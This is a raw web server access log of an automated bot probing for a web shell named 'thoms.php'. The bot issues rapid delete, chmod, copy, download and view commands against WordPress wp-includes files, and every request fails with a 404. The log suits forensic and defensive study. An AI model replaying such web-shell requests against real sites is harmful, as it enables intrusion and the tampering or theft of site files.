45.135.193.11 - - [11/Sep/2026:23:51:07 -0400] "GET /thoms.php?del=class-wp-xmlrpc-server.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-xmlrpc-server.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:07 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=update.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=update.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:07 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-templates-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-templates-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:07 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fblocks HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fblocks" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fcustomize&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fcustomize&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:08 -0400] "GET /thoms.php?chmod=class-wp-plugin-dependencies.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-plugin-dependencies.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-walker-nav-menu.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-walker-nav-menu.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:08 -0400] "GET /thoms.php?del=class-wp-object-cache.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-object-cache.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:08 -0400] "GET /thoms.php?chmod=cron.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=cron.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:08 -0400] "GET /thoms.php?dl=spl-autoload-compat.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=spl-autoload-compat.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:08 -0400] "GET /thoms.php?chmod=registration.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=registration.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:08 -0400] "GET /thoms.php?del=category.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=category.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:08 -0400] "GET /thoms.php?dl=class-wp-oembed-controller.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-oembed-controller.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:08 -0400] "GET /thoms.php?chmod=class-wp-oembed.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-oembed.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fembed.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fembed.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:08 -0400] "GET /thoms.php?chmod=feed-rss2.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=feed-rss2.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:08 -0400] "GET /thoms.php?chmod=theme.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=theme.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:08 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=blocks.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:08 -0400] "GET /thoms.php?chmod=class-wp-http-requests-hooks.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-requests-hooks.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-taxonomy.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-taxonomy.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:09 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fphp-ai-client HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fphp-ai-client" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:09 -0400] "GET /thoms.php?del=category-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=category-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:09 -0400] "GET /thoms.php?dl=class-wp-block-parser-block.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser-block.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:09 -0400] "GET /thoms.php?del=class-wp-block-patterns-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-patterns-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:09 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=compat.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:09 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-classic-to-block-menu-converter.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-classic-to-block-menu-converter.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:09 -0400] "GET /thoms.php?chmod=ms-deprecated.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-deprecated.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:09 -0400] "GET /thoms.php?chmod=class-walker-page-dropdown.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-walker-page-dropdown.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:09 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-paused-extensions-storage.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-paused-extensions-storage.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:09 -0400] "GET /thoms.php?chmod=option.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=option.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:09 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=wp-db.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=wp-db.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:09 -0400] "GET /thoms.php?del=IXR&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=IXR&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:09 -0400] "GET /thoms.php?chmod=class-walker-page.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-walker-page.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:09 -0400] "GET /thoms.php?chmod=class-wp-customize-manager.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-manager.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:09 -0400] "GET /thoms.php?chmod=class-wp-customize-panel.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-panel.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:09 -0400] "GET /thoms.php?dl=class-wp-object-cache.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-object-cache.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:10 -0400] "GET /thoms.php?dl=class-wp-rewrite.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-rewrite.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:10 -0400] "GET /thoms.php?del=class-wp-simplepie-file.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-simplepie-file.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:10 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-site.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:10 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fsitemaps&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fsitemaps&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:10 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-walker-page.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-walker-page.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:10 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-theme-json-schema.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-theme-json-schema.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:10 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ffeed-atom-comments.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ffeed-atom-comments.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:10 -0400] "GET /thoms.php?del=http.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=http.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:10 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fregistration-functions.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fregistration-functions.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:10 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fscript-modules.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fscript-modules.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:10 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-metadata-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-metadata-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:10 -0400] "GET /thoms.php?del=class-wp-http-proxy.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http-proxy.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:10 -0400] "GET /thoms.php?del=class-wp-theme-json-resolver.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-resolver.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:10 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fms-deprecated.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fms-deprecated.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:10 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fphp-ai-client&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fphp-ai-client&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:10 -0400] "GET /thoms.php?del=class-oembed.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-oembed.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:11 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-connector-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-connector-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:11 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-icon-collections-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-icon-collections-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:11 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-network.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-network.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:11 -0400] "GET /thoms.php?dl=class-wp-scripts.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-scripts.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:11 -0400] "GET /thoms.php?chmod=class-wp-site.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-site.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:11 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-feed-cache.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-feed-cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:11 -0400] "GET /thoms.php?del=class-wp-rewrite.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-rewrite.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:11 -0400] "GET /thoms.php?chmod=class-wp-theme-json-data.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-data.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:11 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-token-map.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-token-map.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:11 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-user.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-user.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:11 -0400] "GET /thoms.php?chmod=class-wp-widget.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-widget.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:11 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fcss&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fcss&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:11 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Finteractivity-api&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Finteractivity-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:11 -0400] "GET /thoms.php?dl=block-bindings.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=block-bindings.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
